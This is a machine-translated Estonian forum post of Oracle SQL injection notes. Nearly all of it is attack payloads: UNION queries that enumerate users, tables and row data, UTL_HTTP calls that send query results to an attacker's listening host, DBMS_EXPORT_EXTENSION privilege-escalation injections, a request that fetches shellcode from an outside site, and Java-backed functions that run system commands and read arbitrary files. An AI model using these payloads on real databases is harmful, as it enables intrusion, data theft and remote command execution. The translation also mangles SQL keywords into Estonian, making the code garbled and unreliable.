See artikkel on masintõlke peegelartikkel, palun klõpsake siia, et hüpata algse artikli juurde.

Vaade: 11931|Vastuse: 0

[Turvaline suhtlus] SQL süstimise märkmete oraakel

[Kopeeri link]
Postitatud 24.01.2015 12:58:17 | | |
Seda postitust viimati redigeeris test 2015-1-24 kell 13:01

Kommentaar: --
Mitme lause täitmine ei ole toetatud ning föderaalsed päringud on toetatud
Andmebaasi nimed, tabelite nimed ja veergude nimed on kõik suurtähtedega.


pikkus (väli)
ascii(substr(väli, N, 1))


ja (vali loend (*) dualist)>0 -- Määra, kas see on oraakel või mitte

Tellimus n--

ja 1=2 union select null, null,.....,null dual-- asenda null N või 'N'-ga

ja 1=2 union select null, (SQL avaldus) ,.....,null duaalist -- muutu (sql-lauseks) juures 'N'

ja (vali count(*) all_objects hulgast, kus object_name='UTL_HTTP')>0 -- Määrake, kas UTL_HTTP on toetatud (ekspordi IP on teada)

ja UTL_HTTP.request('http://LocalIP:port'|| (SQL-väide)) =1-- Saata sõnumeid kaugelt kohalikule, kohalikule kuulamisele nc -vv -l -p 1234


SQL-laused
Vali bänner sys.v_$versioonist, kus rownum=1, et pärida oraakli versiooni
vali liige v$logfile'ist, kus rownum=1 Küsi logifaili teed (Windows või Linux)
vali duaalist utl_inaddr.get_host_address, et pärida andmebaasi kuulamise IP-aadressi
Vali instance_name v$instance'ist, et pärida sid'i
vali nimi v$andmebaasist Küsi praegust andmebaasi nime kohta
Vali sys_context ('userenv','current_user') kahe päringu andmebaasi kasutajate hulgast
vali * session_roles kus rownum=1, et pärida praegusi kasutajaõigusi
vali * session_roles kus rownum=1 [ja roll<>'esimene loa nimi']



vali table_name user_tables, kus rownum=1 Praeguse andmebaasi esimene tabelisegment
vali table_name||','|| tablespace_name user_tables kus rownum=1 Esimene tabelisegment, andmebaas (kontrolliks ei pruugi see olla v$database)
vali table_name user_tables hulgast, kus rownum=1 ja table_name<>'esimene tabelisegment' Praeguse andmebaasi teine tabelisegment

vali column_name user_tab_columns kus rownum=1 ja table_name='Tabeli segment' Esimene väli, mis vastab tabeli nimele
vali column_name user_tab_columns, kus rownum=1 ja table_name='Tabeli segment' ning column_name<>'Esimene väli' Teine väli, mis vastab tabeli nimele

Vali väli tabeli segmendist, kus rownum=1 rikub esimese rea sisu
Vali väli tabeli segmendist, kus rownum=1 ja väli <> 'esimene rea sisu' paljastab teise rea sisu


Ristteegid
vali omanik all_tables hulgast, kus rownum=1 pärib esimese andmebaasi nime
vali omanik all_tables, kus rownum=1 ja omanik<> 'Esimene andmebaasi nimi', et pärida teist andmebaasi nime

vali table_name all_tables, kus rownum=1 ja owner='andmebaasi nimi' Küsi vastava andmebaasi esimese tabeli nime
Vali table_name all_tables-st, kus rownum=1 ja omanik='andmebaasi nimi' ning table_name<>'esimese tabeli nimi', et pärida vastava andmebaasi teise tabeli nime

vali column_name all_tab_columns hulgast, kus rownum=1 ja omanik='andmebaasi nimi' ning table_name='tabeli segment' Esimene väli, mis vastab tabeli nimele
vali column_name all_tab_columns hulgast, kus rownum=1 ja omanik='andmebaasi nimi' ning table_name='tabeli segment' ja column_name<>'esimene väli' Teine väli, mis vastab tabeli nimele

Vali väli andmebaasist. tabeli segment, kus rownum=1 rikub esimese rea sisu
Vali väli andmebaasist. Tabeli segment, kus rownum=1 ja väli <> 'Esimese rea sisu', rikub teise rea sisu





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); mitme lausega LÕPP; --','SYS',0,'1',0)--

Kui 'on põgenenud, kasutatakse chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| CHR(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| CHR(85)|| chr(84)|| chr(80)|| CHR(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| CHR(85)|| chr(84)|| CHR(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-avaldus || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Kui mitu lauset on liiga pikad, saad selle veebilehele kirjutada ja kasutada utl_http.request selle taastamiseks.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Loo JAVA pakett SecTest
runCMD-d kasutatakse süsteemikäskude täitmiseks
ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDETA PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KOHE KÄIVITAMIST'''loo või asenda ja kompileeri java lähtekoodi nimega "SecTest" importina java.io.*; public class SecTest laiendab Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream()))); String stemp,str=""; while((stemp=myReader.readLine()))!=null) str+=stemp+"\n"; myReader.close(); tagasijõu; }catch(Exception e){return e.toString(); }}}''''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--

readFile loetakse faili lugemiseks
ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDETA PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KOHE KÄIVITAMIST'''loo või asenda ja kompileeri java lähtekoodi nimega "SecTest" importina java.io.*; public class SecTest laiendab Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine()))!=null) str+=stemp+"\n"; myReader.close(); tagasijõu; }catch(Exception e){return e.toString(); }}}''''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--



Anna Java õigused
ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KÄIVITAMINE KOHE ''''alusta dbms_java.grant_permission(''''''''AVALIK'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<KÕIK FAILID>>'''''''',''''''''täideviimine''''''''); lõpp; ''''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--



Loo funktsioon
SecRunCMD funktsioon
ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KÄIVITA KOHE ''''loo või asenda funktsioon SecRunCMD(p_cmd varchar2-s) tagasta varchar2 kui keel java nimi''''''''SecTest.runCMD(java.lang.String) tagasta String'''''''' ; ''''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--

SecReadFile funktsioon
ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KÄIVITA KOHE ''''loo või asenda funktsioon SecReadFile(failinimi varchar2-s) tagasta varchar2 keelena java nime''''''''SecTest.readFile(java.lang.String) tagasta string' '''''''; ''''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--



Anna luba avaliku funktsiooni täitmiseks
SecRunCMD-le antakse õigused
ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA VIIVITAMATUT TÄITMIST ''andke kõik SecRunCMD avalikkusele'''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--

SecReadFile
ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA VIIVITAMATUT TÄITMIST ''''anna kõik SecReadFile avalikkusele'''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--



Tuvastab, kas funktsioon loodi edukalt
ja (vali count(*) all_objects-st, kus object_name='SECRUNCMD')>0--
ja (vali count(*) all_objects-st, kus object_name='SECREADFILE')>0--



Täida käsk
ja '1'<> (valitud süsteemid. SecRunCMD ('Täida käsk') dualist)--
ja '1'<> (valitud süsteemid. SecReadFile('faili füüsiline aadress') dualist)--
või
ja 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null dual--
ja 1=2 union select null,...,sys. SecReadFile('faili füüsiline aadress'),...,null dual--
või
ja '1'<>(vali UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(SYS. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) dual)--
ja '1'<>(vali UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(SYS. SecReadFile('Faili füüsiline aadress'),' ',' ','\n',' ')) dual)--



Kustutamisfunktsioon
ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KOHE KÄIVITAMIST ''''drop function SecRunCMD'''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--
ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KÄIVITA KOHE ''''drop function SecReadFile''''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--




Eelmine:Kas ma saan taotleda mõõdukust, milliseid tingimusi on vaja?
Järgmine:ORALCE saab hostinime ja IP-aadressi
Disclaimer:
Kõik Code Farmer Networki poolt avaldatud tarkvara, programmeerimismaterjalid või artiklid on mõeldud ainult õppimiseks ja uurimistööks; Ülaltoodud sisu ei tohi kasutada ärilistel ega ebaseaduslikel eesmärkidel, vastasel juhul kannavad kasutajad kõik tagajärjed. Selle saidi info pärineb internetist ning autoriõiguste vaidlused ei ole selle saidiga seotud. Ülaltoodud sisu tuleb oma arvutist täielikult kustutada 24 tunni jooksul pärast allalaadimist. Kui sulle programm meeldib, palun toeta originaaltarkvara, osta registreerimist ja saa paremaid ehtsaid teenuseid. Kui esineb rikkumist, palun võtke meiega ühendust e-posti teel.

Mail To:help@itsvse.com